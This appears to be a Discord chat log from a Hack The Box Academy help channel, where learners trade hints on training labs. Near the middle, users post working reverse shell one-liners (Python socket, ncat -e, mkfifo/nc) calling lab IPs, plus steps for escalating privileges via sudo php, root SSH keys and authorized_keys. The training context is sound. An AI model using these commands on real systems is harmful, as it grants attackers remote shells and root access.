it's tricky because they didn't even explain how to go in there. they only teach few commands and ask questions like that

[tribal walrus]

today its working i guess it was some server issue👍

[tribal walrus]

its correct but after /var/mail there should be one more path try using the username

[deep garnet]

does anyone know the answer this one Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337. well its good for a help

[neon shard]

yea

[novel matrix]

Dm me

[glass sedge]

Hi i m a newbie and french speaking so frogive me please. I keep getting this message on nmap (Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn)
I'mtrying to complete the network enumation with nmap host and port scanning. it worked fine the first time, but now i keep getting this! thanks!

[jade owl]

Is the lab connection offline or online. I had that issue when i was not paying attention and the machine was offline

[glass sedge]

it s been like that since yesterday

[jade owl]

You may need to change the vpn location you are using

Thats what solved my issue

[glass sedge]

oh thanks i ll try that!

[lethal stratus]

Hey guys , I am in the final test in Getting Started Module . But the URLs takes sooo long to load . Is it normal ? Propably due to the event the traffic is big ?

[rich sequoia]

anyone help me with the priv escalations pls? I've got the user flag for the Get Simple, but struggling with the root flag...

[rustic sage]

Im on the same spot guys

[rustic sage]

yeah literally it takes like 3-4 mins to load the admin site

Maybe we can help each other and try to get the root.txt flag

[lethal stratus]

i would , but it takes me more than 5 minutes to load every page

[rich sequoia]

I've got a shell on the server...

[paper idol]

I don't understand how to answer that question. How did you realize it was in the var / mail .....

im stuck in this question..

[rustic sage]

i have solved the problem

echo $MAIL

or env

[paper idol]

dude god help you... thank you

done

[rustic sage]

welcome 🙂

[rustic sage]

Hello guys, got a big problem here. After creating a session with msfconsole, when i type shell i get a procces and a channel created, but when i run any command for example sudo -l the shell freezes and i dont get any output. Idk if its something wrong with me or with the instance, because ive been talking with other guys and they dont have this problem. At this point i cant keep going because to get root access i need this command to work. Please i need help

[robust socket]

you can get it respond quickly, Look around in the site.

[strange aspen]

can someone help me my target doesnt respawn or it shows a new ip instant but there is no connection and when i refresh the page there is again Click here to spawn the target system! i already deleted the cookies dont know what to do... it doesnt work with another browser too..

[hearty saffron]

@sterile hawk hello sorry for wasting ur time but how can i speak in other channels

[sterile hawk]

++tryverify

[red obsidian]

To talk in other channels you need to verify yourself first:

1. Send ++verify in the #bot-commands channel
2. Follow the instruction you will receive in PM (i.e send ++identify <Account Identifier> directly to the bot
   (The instructions are available in the #welcome channel)

[sterile hawk]

@hearty saffron ^^

[hearty saffron]

ok

[mint lava]

@rustic sage did you upgraded TTY?

[fleet moth]

I suggest You to begin with fundamental modules on the HTB-Academy.
https://academy.hackthebox.eu

[rustic sage]

i tried to upgrade it by using python, but i get "unknown command" as output

[restive laurel]

Please after my account has been verified by the bot what to do??

[mint lava]

What is the python version?

[pale nest]

Good evening everybody. I can't finish the first page of windows fundamentals (file system). The question is What system user has full control over the c:\users directory? I got the command (icacls) and used on command line. I got the answer of this command, but I couldn't get the flag. Someone could help me? Thanks in advance. #keephacking

[fleet moth]

DM me if You need a hint. Don't want to spoil the solution here

[real cloak]

hi everyone

i'm stuck, i thing it's kind of a bug... in a dumb dumb module of making a mysql connection....

the target system I spawn can't connect to mysql

it just says mysql 2002 error, and whenever i try to reach out for the port (to see if the service is UP), netcat tells me "connection refused" and I can't proceed :/

has anyone found this before?

[strange aspen]

i need help with the getting started public exploit question. i think i have the right exploit but when i use it it just shows
Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed without doing anything, im trying since 2 days can someone help me?

[karmic valley]

Do you still need help?

[strange aspen]

i dont know what to write in filepath..

[karmic valley]

What's the question?

[strange aspen]

Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

[karmic valley]

OK, this question is good

[karmic valley]

Did you get to look at all the options when you type "show options" ?? I lost a little time on this issue too

[strange aspen]

thats perhaps the problem how i said i dont know what to write in filepath.. i tried many things but still doesnt work..

[karmic valley]

DM me

I will help you

[flint moth]

Hi guys I am on File transfer module ,I have uploaded a zip file to target but I need to unzip( I can't even Install any tool as the user is not in sudoers) Can any anyone tell how to unzip it ? Thanks in advance!!!

[neon shard]

does it have tar?

[flint moth]

Nope it a zip file

Anyways I got it how to do it👍

[flint moth]

@tranquil carbon Thanks for the help ,but zip/unzip tool was not installed on the target so I just found another method

[bitter wraith]

Anyone stuck on the Web Requests POST Method exercise?

[pallid yacht]

may I please have a hint for the service enumeration section for finding the flag on the nmap module? I'm running the following command

nmap 10.129.18.235 -T4 -sV -n -Pn -p 22,80,110,139,143,445,31337 --packet-trace

I see a lot of output and have gone through it, but I can't find what specifically would be the flag. I have ennumerated each of the ports specifically and couldn't find anything interesting. Perhaps I'm not seeing this right. When ennumerating port 80, obviously, the entire HTML content was displayed, but couldn't find any specific string that would could be considered as a flag.

[weak verge]

hey , can i have a nudge please on introduction to web application , page 8 : HTML injection
i think i have the right answer but maybe the format is not right

[still violet]

Can I dm you ? I've done that

[obsidian crown]

select * from titles where emp_no > 200000 OR title != 'Engineer' What's wrong with this request?

[small pivot]

Can anyone help me with this question "Which option needs to be set to execute a command as a different user using the "su" command? (long version of the option)"

[tired perch]

You could get the answer by using the --help option

[small pivot]

Yep I tried everything from that, it says incorrect

[tired perch]

what option did you put in??

[neon shard]

@small pivot i dmed you

[small pivot]

su --command

[tired perch]

just put in the option

not the command together

[small pivot]

Yeah it worked, thank you .

[rustic sage]

Hi, Im doing page 9 on getting started (Public Exploits) ... im trying to spin up an instance but it says none available ... is there a connection pack so i can do this from my kali box?

[rich sequoia]

Hey there.. I'm trying to complete the skills assessment for sql injection.. but I'm stuck. I've enumerated the databases, but when I try to read the tables - I get a blank result... anyone give me a hand?

[simple crescent]

hey guys, super dumb question but i think there's a language barrier and i can't understand it, i'm doing a module question and it asks
"Enumerate the hostname of your target and submit it as the answer. (case-sensitive)"
what are they asking for exactly??

[void marlin]

hey, I just started it but can't really figure out how I might do it fast enough... since you were able to get a solution, could you give me a tip? Is it possible to beat just with the browser? <-<

[teal lion]

Can someone help me for the questions in the module "Public exploits" from Getting Started ? Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

I don't know what to do I just know that FILEPATH is set to etc/passwd

[uncut temple]

And should it point there?

[teal lion]

Oh

[dry warren]

Hi! I'm stuck on the last section of the getting started module (Knowledge section). I got the user flag through metasploit and my thought was to utilize 'shell' to get a generic shell on the target but the shell does not respond when it launches(Like many others have talked about) I have not seen any hints to this problem in order to progress.

[teal lion]

I'm still stuck lol

[dry warren]

'/flag.txt' is the fiel you want this is the hint

assuming you picked the correct exploit in metasploit

[teal lion]

I picked auxiliary(scanner/http/wp_simple_backup_file_read)

[dry warren]

yes

now use it

[teal lion]

ok...

[dry warren]

you are overthinking it

just tell the exploit module you want the file

[teal lion]

I will try

I don't know how to ToT, I can't use cat or things like that...

Why is it blank

Do I need to set TARGETUI ?

[dry warren]

Yes

The exploit as is said in the name reads a file

So you can read the flag.txt file i.e

[round blaze]

hi

is it possible to hack a discord server?

[urban sage]

Not really the topic of this Discord server.

[round blaze]

ah i see

[drifting knoll]

Hey everyone, we are happy to announce that we have just released a new module called Broken Authentication. It focuses on one of the most common vulnerabilities in web applications and is an important part of OWASP Top 10. Check it out!

https://academy.hackthebox.eu/course/preview/broken-authentication

[rancid tide]

There is someone that can help me? I'm in module "web request", at the POST METHOD part: when I try to enter with admin:password, it don't work, and on the server answer I haven't PHPSESSID but auth="... Cookie..", what can I do to resolve??

*it doesn't...

[rancid tide]

@fleet moth simply add .1

[rustic sage]

Can someone, let me know the correct format of answering html injection question?

[rustic sage]

Hey guys, i've got a question to the 'Getting Started' Module which was often asked recently but I couldn't find an answer.
The task is the following one:
Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.

When logging into the users folder, my access is always denied to do things. I think theres a hint in the task itself but the command 'smbclient \\ip\flag' isnt also working.

Can somebody give me a hint to solve my problem?

[fossil onyx]

can i have a nudge on introduction to web application , page 8 : HTML injection
i think i have the right answer but maybe the format is not right. I have tested my payload on the server and seems to work fine

[fossil onyx]

nvm sometimes the simplest option is the best 😉

[rustic sage]

@fossil onyx please share me the format, have answer. But not the format

[mint lava]

@rustic sage try to use the credentials that is used in the module

[rustic sage]

In the getting started module, Im stuck on the escalate privileges section, can anyone DM me a hint on how to escalate?
I can get to user2... but then im stuck

[fossil onyx]

I will message you directly in case you have some follow up questions 🙂

[mint lava]

@rustic sage try to do as the module says about ssh key

[rustic sage]

I got, thank you.

[rustic sage]

@fossil onyx thank you

[rancid tide]

There is someone that can help me? I'm in module "web request", at the POST METHOD part: when I try to enter with admin:password, it don't work, and on the server answer I haven't PHPSESSID but auth="... Cookie..", what can I do to resolve??
*it doesn't...

[unborn yarrow]

Hi guys, please give me a hint. I stuck in last question:After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag. in GETTING STARTED module.

I still haven't found a way to get to root user yet

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

[burnt hare]

I can help if you still need help. You can DM me

[mint lava]

@unborn yarrow use https://gtfobins.github.io/ look at the php section

[restive siren]

Can anyone give me a hint on how to get the service version for Nmap Hard-Lab? I already got open 3 port/services. I just need to get the version of the 3rd service.

[surreal dragon]

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer?

[neat horizon]

Hello, everyone! I have finished the Getting Started module, but I'm wondering if there is another way to get a foothold at the last machine (Knowledge session). I got the foothold with the Metasploit module, but I would like to know how to do it manually.

[strange aspen]

i stuck at nmap hard lab too..

[craggy briar]

Hello, i am currently working on the Getting Started module, I am on the priv escalation portion and i am user2. i cant get the key to move into the ssh folder since i do not have access as user2. when i use the command in the cheat sheet to try it doesnt allow. can anyone help me with moving the key into the ssh file?

[strange aspen]

im not shure what i did to solve it but just try "cat
/root/.ssh/id_rsa" tell me if it works..

[craggy briar]

@strange aspen tried that and it pulls up the SSH key. so i can read it when i cat it

[strange aspen]

and where is the problem then?

you have to read the text... "If we can read the /root/.ssh/ directory and can read the id_rsa file, we can copy it to our machine and use the -i flag to log in with it:"

[rustic sage]

Hey good people I need help in the fundamentals
I did use the command:
Find / -type f -name *config -size + 25k -size -28k -newermt 2020-03-03 2>/dev/null
And it put
/usr/bin/apt-config
But that is not the answer

I also did visit the next page but I'd did not help me , do I still think inside the Miao BOX ? Feel like schrodinger's cat ^^

[night inlet]

can anyone help me with the filtering contents section of the linux fundamentals module? i'm stuck on the last question:

"Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com/" website and filter all unique paths of that domain. Submit the number of these paths as the answer. can you help me in this question"

[rustic sage]

@night inlet is that in the linux fundamentals?

[night inlet]

yeah

@rustic sage i think i'm having a hard time on what i'm filtering

[rustic sage]

Wich section from the linux fundamentals? I also working since 2 hours to get the answer

@night inlet

[night inlet]

Filtering Contents

[rustic sage]

@night inlet oh I still need 2 steps to start in this section, but you can help me in find files and directories

[burnt hare]

Hey, did you find your answer? I can help you with this one if you still need. DM me

[flint helm]

Hey I'm doing Getting Started Privilege Escalation and I escalated to user2. I took the id_rsa from the target to my vm, but unfortunately when I try to login with it I get "invalid_format" and there's still a password requirement, I tried changing id_rsa to a .pem and then formatting it to pkcs8,but that won't work either. If someone could tell me how to properly format the id_rsa that would be greatly appreciated.

[rustic sage]

Hey ,thanks yes
I did not go to the target and ssh ....

[strange aspen]

@Rastislonge you have to Copy the beginning and the end of the idrsa File too..

[burnt hare]

Perfect if you get it ^^ wp

[pulsar coral]

I need help with finding the path for the home directory for htb-students. I'm not sure what I'm doing wrong I clicked on target and it shows an Ip address....but what am I supposed to do next?...I tried typing ssh htb-student@10.129.23.92 in the search box and it said it didn't work. Where do I put the password and username at?...I'm completely lost...Any help will be much appreciated.

[burnt hare]

what do you mean exactly by "the search box"?

[rustic sage]

Yes a good feeling 👍

[cinder bolt]

The Knowledge Check target machine in Getting Started is dead slow for some reason

Takes like 3 minutes to load a page

[pale nest]

Hello everybody. I'm doing Getting Start Module and in page Web Enumeration I'm stucked... I tried all nmap and netcat flags, but I couldn't reach the target. So I tried by web browser and a I guess thw wordpress instalation page. At this point I stoped. I clicked on continue button and nothing changes. Please, someone can help me? Thanks in advance...

[drowsy storm]

hello guys i'm new at HTB academy and i'm stuck in linux fondamentals modul in the first question in system information when i try to connect to the torget with SSH "target adress" i can't connect on it . help me please guys

[fossil onyx]

make sure that you can ping the target, otherwise restart your instance or the target

[drowsy storm]

ping ??

what do you mean by ping XD

[fossil onyx]

you are getting an ip address something like 111.111.11[.]11

you can google what the command ping does 🙂

try ping [the target ip address] to check if your instance get replies from the target

[pale nest]

Thanks everybody. I could get the flag. If someone need a help, please, DM me and I will help. #keephacking

[drowsy storm]

okey thank for your help XD

[jovial kraken]

The repository that has been told to clone in linux fandamentals
We have to clone it into the parrot os instance or we can install it into our current linux machine also?

[flint helm]

@strange aspen thanks, I thought it was some small detail I missed

[unborn yarrow]

is your issue has been resolved yet?

[somber vine]

Hello can i ask what does fingerptinting a device mean ?

[muted shore]

Identifying specific characteristics about the device, such as the OS. You're enumerating the device to find out as much information about it as you can. This helps to develop a specific plan of attack. Hope that helps.

[somber vine]

Thanks 😄

[mint phoenix]

I am super new to Cyber and HTB so any help would be lovely. I'm really struggling to get the flag for the POST Method Module for Web Requests.

I've decoded the cookie, re-named guest_etc to admin_etc and re-encoded with Base64 but I'm struggling with the flag. I'm guessing it's to do with the JSON section to get it?
Its the answer to "Login with the credentials (guest:guest), and try to get to the admin user from what you learned in this section and the previous section."

Also the admin_381098731203 or whatever greeting is NOT the flag with or without the ! so I'm truly lost to what it may be

[normal folio]

hooow do i hack?

[uncut temple]

++academy

[red obsidian]

Academy Site

Cyber security training with hands-on exercises by Hack The Box. Join now and advance your cyber security skills!

[paper idol]

hello guys, was trying to connect with the user "htb-student" in the linux fundamentals module, but it is not working.
I'm using (ssh htb-student @ targetIP).
What's wrong?

[fleet moth]

ssh <username>@<ip> there are no spaces
or
ssh -l <username> <ip>

[paper idol]

ok ok

i will try that

[paper idol]

I did it, thank you. I did the second way with ssh -l

[novel matrix]

++academy

[red obsidian]

Academy Site

Cyber security training with hands-on exercises by Hack The Box. Join now and advance your cyber security skills!

[wintry orchid]

Hello,
I need help at the Windows Fundamentals course. In Page 4 (Windows Processes and Services). I have to submit an non-Windows process. I know, that it should be an ||Adobe|| process, but it doesn't get shown, when I type ||Get-Service | select -First 5 |fl|| in the power shell.Can someone please help me 😄?

Sorry, my english isn't the best

[wintry orchid]

🙂

[rancid tide]

i need help in fundamentls course web request, i don't understand how change the cookie.. can you help??

[rich sequoia]

have you tried using burpsuite?

[strange aspen]

hi guys i need ur help, i stuck at Getting
Started-Nibbles Privilege Escalation. (Escalate privileges and submit the root.txt flag.)
i try with my webshell to append a reverse shell in the monitor.sh file
but it seems that every command that contains the ">" doesnt work and when i append a
python or ncat reverse shell from Payload all the things it just happens nothing..
im not sure how to continue now..

i even tried it with base64..

[rich sequoia]

what command are you using to append?

[rich sequoia]

what command are you using to append?

Message #modules

[strange aspen]

with python
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.220",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" >> /home/nibbler/personal/stuff/monitor.sh

with netcat
echo "ncat 10.10.15.220 1234 -e /bin/bash" >> /home/nibbler/personal/stuff/monitor.sh

[rich sequoia]

tried this? echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh

That is from the tutorial

[strange aspen]

i think i already tried that because as i said it seems that every command that contains the ">" doesnt work.. but i can try again..

[rich sequoia]

hmm.. wondering if it is a shell thing..

[wintry orchid]

Please....

[graceful quail]

what to do here

[timber summit]

why so many people wanting to reset the Archetype machine?

[rustic sage]

Hi guys, Im doing the Linux fundamentals module and the last question is really giving me a hard time. " What is the name of the network interface that MTU is set to 1500?" when I do ifconfig -a there are more than one network int. that has 1500 MTU.. eth0 eth1 tun0 etc. but non of them are correct what am I doing wrong? Thank you for your time and help !

[burnt hare]

@rustic sage I think you do ifconfig on your own « pownbox » and not on the target

you need to give the answer for the target

[gleaming token]

hello , I tried to install seclists on my parrot , and it says I need a kali-default package and i cannot install it ... what do I do?

[karmic edge]

Hello, does anyone know how to gain root access in the getting started knowlege check task? I enter the machine threw a php reverse shell that i upload on the admin website and log in as www-data. when i type sudo -l it says that i have NOPASSWD to php but cant do anything with that. Any help?

[uncut temple]

Have you tried 'man php'?

[karmic edge]

not really

il try it

i need to get linenum or linpeas on that machine somehow

[uncut temple]

why?

[karmic edge]

never tought that would help xD

ill try it now

[uncut temple]

ok 😉

[karmic edge]

ty for the tip

[uncut temple]

linenum or lipeas might be ok if you don't find anyting, but first rule out (or not) php 😛

[burnt hare]

What is the first rule? RTFM? :p

[uncut temple]

XD

[sick rapids]

Hey guys, I need help on one of the questions in the linux fundamentals module, the question is

what is the name of the config file that ha been created after 2020-03-03 and is smaller than 28k but larger than 25k?

In the terminal I had inserted

find / -iname ".conf" -size +25k -28k -newermt 2020-03-03

After that a file came up : /usr/share/drirc.d/00-mesa-defaults .conf

I put that as my answer but HTB is telling me its wrong so instead of ".conf" I just put "conf" and had tried every file that came up and they were all incorrect. I am stumped

[tawdry python]

try config

.config

[sick rapids]

No files came up

[pale nest]

@sick rapids I have faced the same problem... I could get the flag executing the command step by step...
First selecting the file name and so on...
I don't know if this way is relevant, but worked...
Maybe I was typing something wrong...

[sick rapids]

Weird, I'll give it a try! Thanks, I'll let you know!

[sick rapids]

@pale nest did not work for me I get the same file and it still says its incorrect

[pale nest]

@sick rapids I DM you

[sick rapids]

Yup got it

[rustic sage]

OMG .. I did not notice until you wrote it! Thank you. You saved me 😄 ❤️

[astral siren]

There are other types of software besides the one you're thinking

[astral siren]

Just download the git repo

[wintry orchid]

Yes, I looked for other, where PDF is in the name but I couldn't find other yet... But thank you!

[astral siren]

It may not have pdf in the name. Look for "update"

there's a command called findstr that works like grep

[wintry orchid]

OK,i'll try that. Thank you!

[gleaming token]

found how thk you , otherwise me and my friend are stuck doing public exploits of getting started module , we tried a lot of exploits but can't find the good one :c , when you do a scan with msf does it download something to ur pc , if yes where it goes?

[astral siren]

when you search msfconsole, i'm pretty sure it is already downloaded to your computer when you install

[gleaming token]

yes I know , I mean i did an auxiliary scan on the target , it was completed but I did not get anything :c

[astral siren]

you can dm me for better pointers

[vital bough]

same right now as well

[vital bough]

oh man figured it out that was fun

[dark lake]

hello community, im stuck at the module "getting started" privelege escalation 2nd section with the task to"gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'., i already copied the linpeas code into vim and started from the server but it either couldnt help, also i searched for serveral exploits but i cant execute many of them because the server dont have gcu, however i also tried to copy id_rsa, create a own folder via vim, change the permission to 600 and tried to connect via ssh to gain root access but nothing work

i hope somebody can give me a hint:)

[strange aspen]

you have to go the way with the id_rsa file...

[pulsar coral]

having trouble with finding the path to htb-student's mail. I have looked at others with the same problem and got to cat/etc/passwd then I saw that the mails path was /var/mail but it did not work. Please help. Also why did others say to start with cat/etc/passwd I don't understand the logic behind it

[dark lake]

thx, tried many variations guess ill stick to it a little longer, if someone can give me a clue pls dm

[wintry orchid]

I don't get it... I looked for every Process with "update" in its Name, but I couldn't find anything, that was right..... I thought it was ||FoxitReaderUpdateService||, but that was wrong too....

[strange aspen]

it is foxitreaderupdateservice but u forget something..

[wintry orchid]

I got it 😄

[strange aspen]

ok nice..

[rustic sage]

hi guys i have a question on the File Inclusion / Directory Traversal

it is on the last question of Local File Inclusion

[astral siren]

you can dm me

[rustic sage]

Could you not tell me the ideas of solving the issue on this chat

[astral siren]

well i don't know what your question is or what issue you're having, but it seems that most people are cautious about what they say to avoid giving spoilers

[rustic sage]

I do not like to get the answer straight away, I want to know the hurdles through the issue. I have tried searching on the internet but i got no results. So could you give me any possible hints

[astral siren]

i can't help you if you don't tell me what you're having trouble with

i don't know what part you're on

[rustic sage]

In File Inclusion/ Directory Traversal module. on that the last question of Local File Inclusion(LFI)

[astral siren]

yes, i understand that. but there are steps along the way. have you found anything yet?

[rustic sage]

Yes for the section on the previous modules i learnt a way of creating a directory on the terminal on finding the way to the answer, but so far in this i have tried about 5 methods(I am not sure if i can share that, so I just don't for now) and none of it worked.

Once again I would like the hints not the answer

Any Hints?

[astral siren]

that's why i suggested you dm me, so you could share the actual methods you tried

i have no idea what you mean by 'creating a directory on the terminal on finding the way to the answer'

look at the cheatsheet for suggestions

[timber summit]

someone else having issues with the vpn package?

can't connect to the vpn

[urban sage]

What's the issue?

[timber summit]

Europe server was not working. Changed to US and ready to go

thanks!

[urban sage]

[calm fossil]

Hello,
I'm doing module "LINUX FUNDAMENTALS" and I have a problem with question 'What is the index number of the "sudoers" file in the "/etc" directory?'
I think I am good answer but system don't valid it
I don't want to write answer here, someone can MP to help me ?
Thanks

Ok my bad it's resolve, I forget to connect to ssh with correct user..

[placid warren]

Can someone give me a push in the right direction? idk if i just cant see it our what. For windows fundamentals , what is the alias for ipconfig.exe. Ive tried get-command and get-alias and the options that are available for those commands, ive been stuck for too long on this.

[astral siren]

i seem to recall get-alias working. are you using the powershell terminal?

[placid warren]

Yeah, I RDP in the machine, open up a powershell window, and use the get-alias command. Closest thing that outputs the same info was get-netipconfiguration, bjt that isn't an alias.

[astral siren]

get-alias works, i'm not sure what problem you're having. dm me a screenshot

[placid warren]

sure one sec

[rustic urchin]

just type Get-Alias without any option. Do you get any output at all? Is there an Error?

[placid warren]

@rustic urchin someone helped me thank you. I guess I didn't put the answer in correctly uhg.

[rustic sage]

Hey guys, i've got a problem with the section 'privilege escalation' in the module 'getting start'. You can connect to the target via ssh with user1 and the task is to gain access for user2. Examining the answers already given here, i have to use the id_rsa file. My problem is, that both user1 and user2 dont have such a (path /home/userx/.ssh/id_rsa doesnt exists) and i cant view the id_rsa of the root because when i open this file via vim its just empty. I also tried to download it but i dont have any permission.

Can somebody give me a hint? you can also send me a dm

[rich sequoia]

Is there a process that runs as root you can find?

Anyone around that can help me with the file traversal module? I'm having a tough time trying to get a foot hold. I can get the page to trigger an invalid input message...

[rustic sage]

I've got it solved with help, but thanks

[rich sequoia]

No worries mate...

[astral siren]

sure, you can dm me

[rich sequoia]

Haicen you are a dude many thanks..

[unborn yarrow]

Hi guys, please help me. I'm stuck in Skills Assessment section, LINUX PRIVILEGE ESCALATION module during find flag4.txt? please give me a hint :((

[tight glen]

can smbdy help me with nmap fundementals? currently stuck on this with hint..

"Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer."

[flint helm]

Hi I'm able to make a meterpreter shell in Getting Started /Nibbles - Privilege Escalation and I'm trying to "upgrade" it to a python shell, but it just won't respond to any commands I input. Anyone knows why?

also @tight glen do you mean "Network Enumeration with Nmap"? Because that would be for #774040372966981644

[sick rapids]

Was wondering if someone can dm me, I'm having trouble on the windows fundamentals module

Nvm

Figured it out

[astral siren]

i don't remember having any issues like that, but you can dm me if you want to share the specifics

[sand pendant]

i am working on linux fundamentals and stuck with ssh login

can anyone help me with this

[novel matrix]

I see the issue straight up. I’ll let you figure this out 😉 @sand pendant

[sand pendant]

thanks pwning, i figured it just now

i was just typing ssh host_ip address

but the real deal is "ssh hostname@ip_address"

[novel matrix]

@sand pendant you got it 🙂

[sand pendant]

@novel matrix i was able to login but whats the hardware name
i even tried "lshw" but not able to figure it out

[novel matrix]

Go over what you just learnt

[sand pendant]

What is the name of the network interface that MTU is set to 1500?

what about this any idea?
this fundamentals is eating away my time
oh god

[rustic urchin]

don't think too complicated

[burnt hare]

think about which command give you interface's information

you have a "cheat sheet" with list of usefull command for the module, this should help you

[rustic sage]

Getting Started - Services Scanning (2 questions)

Our target machine was originally: 10.10.10.40

But then suddenly they were scanning: 10.129.42.253 - for the SMB service

1 -------------- How did they come up with this IP?
(I don't see it listed anywhere or discovered that we have to use this one for SMB)

2 ------------- How did they come up with bob:Welcome1 credentials?
(again, maybe I'm blind, but I don't find from where they got the information about user being bob and Password being Welcome1)

[white ore]

Hello guys, please help me, I use the command systemctl list-units --type=service | grep apparmor : I see the unit name with description "Load AppArmor profiles" but when i submit the response, i get an error message Incorrect answer

[novel matrix]

@fallow mesa Please don't spam the same message in all academy channels.

[astral siren]

it was not explained, it was just given to you

[rustic sage]

Thanks for your reply

[urban sage]

Read the directions. If you are confused, do research and or ask a more specific question.

[tough fjord]

@rustic sage happy birthday

[rustic sage]

Getting Started - Public Exploits

Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

I was able to get this file:

/home/user137929/.msf4/loot/20210427161155_default_138.68.147.93_simplebackup.tra_901619.txt

After opening it with "cat" there was either nothing useful in it or I don't know how to open it properly. Someone can help?

[peak tiger]

hi

im new

[astral siren]

Is there anything in the file? You can dm me if you want

[lucid pilot]

Hello; I'm at last section of getting started module, however couldn't find my way out, could someone give me some tip?

[lucid pilot]

at last exercise

[wintry iron]

hey! is there a problem with the machine from Module: Getting Started - Knowledge Check? It takes several minutes to load a single page, it's really impossible to work on it. Thanks!

[muted jolt]

hi , i am new to hacking

[mighty berry]

was having the same problem using any tools today... target systems not responding etc...

[rustic sage]

Happy Birthday @tough fjord !

[ancient onyx]

Hi, I have a problem with the module getting started privilege escalation. I can't change from user1 to user2. Does anybody can give me a hind?

[mint lava]

@ancient onyx try to use the steps that used in the example adjusting it to you scenario

[rustic sage]

One command gives you the information you need to get access to user2

[spiral osprey]

#modules

[rustic sage]

Im new to hacking, what am i supposed to do

[novel matrix]

++academy

[red obsidian]

Academy Site

Cyber security training with hands-on exercises by Hack The Box. Join now and advance your cyber security skills!

[mint phoenix]

Going to be a stupid question I know, how the hell do I run JS Code? Is it through the console of the webpage?

Should mention this is the skills assesment for JS Deobfuscation

Scratch that got it. Console.log was what I was looking for

[glossy meteor]

hi guys, can someone help me?im stuck at getting started module at very last question "escalating to root" to get root flag.

[rustic sage]

exactly stuck at the same spot

[rustic sage]

arrived until this point: echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys, but here I need the user2 password, which I somehow don't know how to get

[rustic sage]

just found on discord: upload linpeas to the target through ssh, so will try it, but no idea how to do it, will take for sure some time to figure it out

[rustic sage]

btw. you have not mentioned which lesson - I'm talking about Privilege Escalation

[glossy meteor]

owh..no wonder u have 2nd user.. i thought i was missing something.. im at knowledge checking

the one with slow server

[rustic sage]

which lesson exactly?

[glossy meteor]

tsame module as you. the last one,u need to scroll down abit until u see "knowledge check "

[rustic sage]

ohh, so you in front of me actually 🙂 I'm sorry, but in that case I can't really help, cause wasn't there yet. Having enough trouble with Privilege Escalation...lol

[rustic sage]

but if you know how to get a password of user2 in privilege escalation, it would be a great help 😄

[glossy meteor]

i wont tell the answer but ill help you. check your dm

[ancient onyx]

can you please give me a hind to. I have tried, but I can't get access to user2

[clear blade]

for the web requests module how are you supposed to use burp if firefox doesnt have foxyproxy?

[dark lake]

Hello, has anyone a hint for the 2nd question in the module "getting started " "knowledge check", i already let linenum.sh run, also i tried to upload a php file including a reverse shell, but i didnt had the right to create it, also i tried to put in a reverse shell code line in a php file that already existed on the server but that didnt worked also

[drifting knoll]

Hey everyone, we have just released another new module called OSINT: Corporate Recon. This module contains a newly developed methodology that will help you not to be overwhelmed by the huge amount of information while you investigate all the components of your target company. Check it out!

https://academy.hackthebox.eu/course/preview/osint-corporate-recon

[cerulean osprey]

Hey I am having a issue with Linux Fundamentals... I am on question 3 asking “what is the path to the htb-student’s mail” I am typing /var/mail... what am I missing ?

[cerulean osprey]

Never mind I figured it out

[ember heart]

Hi
windows fundamental
Which Windows NT version is installed on the workstation?
the answer format is "Windows X - 00.0.00000.0"?

some of academy's questions are very wide specially in formats of the answers

[flint moth]

@ember heart it's of format Windows X

[ember heart]

wdym?

[flint moth]

Wdym ?? Means?

[surreal pike]

very new here - stuck at "interactive section with terminal". Could someone dm me for some help?

[ember heart]

any idea about what is that WS01 in there?

[ember heart]

ask ur q here
if someone wanna help he/she will

[viral echo]

can somebody help me im stucked at "linux fundamentals"--> "system information" question3 it say: What is the path to the htb-student's mail? I tried: /var/spool/mail ; /var/mail but none of them worked

[oak estuary]

The answer is much simpler than you think. When I figured out what they were asking I 🤦‍♂️

[fringe jewel]

guys im stuck at decoding can anyone help i got the "N2gxNV8xNV9hX3MzY3IzN19tMzU1NGcz" and also know to use base64 but its still not it and I cant think of any other method I didnt try already... am really lost

7h15_15_a_s3cr37_m3554g3 this is as far as I get I dont know what to do

[burnt hare]

I haven’t done this module and I might not understand what you need, but you could find « translation » for each letter

Like obviously 7 is t, 1 is i, 5 is s

Etc

You might be able to décrypte the string with this?

[fringe jewel]

thats also what I thought this is what they want me to do | Using what you learned in this section, determine the type of encoding used in the string you got at previous exercise, and decode it. To get the flag, you can send a 'POST' request to 'serial.php', and set the data as "serial=YOUR_DECODED_OUTPUT".

[rustic sage]

Hello I'm having error when trying to escalate my privilege in Nibbles - Privilege escalation in Getting Started module. I have correct IP and port and yet I'm receiving this error: ** unable to resolve host Nibbles: Connection timed out **

edit: fixed

[fringe jewel]

nvm im stupid i got it now

[obsidian crown]

How do I get a gift card?

[astral siren]

i remember that happening to me. i think it is like that intentionally? i think if you just wait it out it will eventually work

[alpine forge]

Hi! I'm absolutely new to HTB. I have 30 cubes. Where should I start? Also, if this Q is asked over and over again, please feel free to direct me to another post. Really appreciate the help!!

[astral siren]

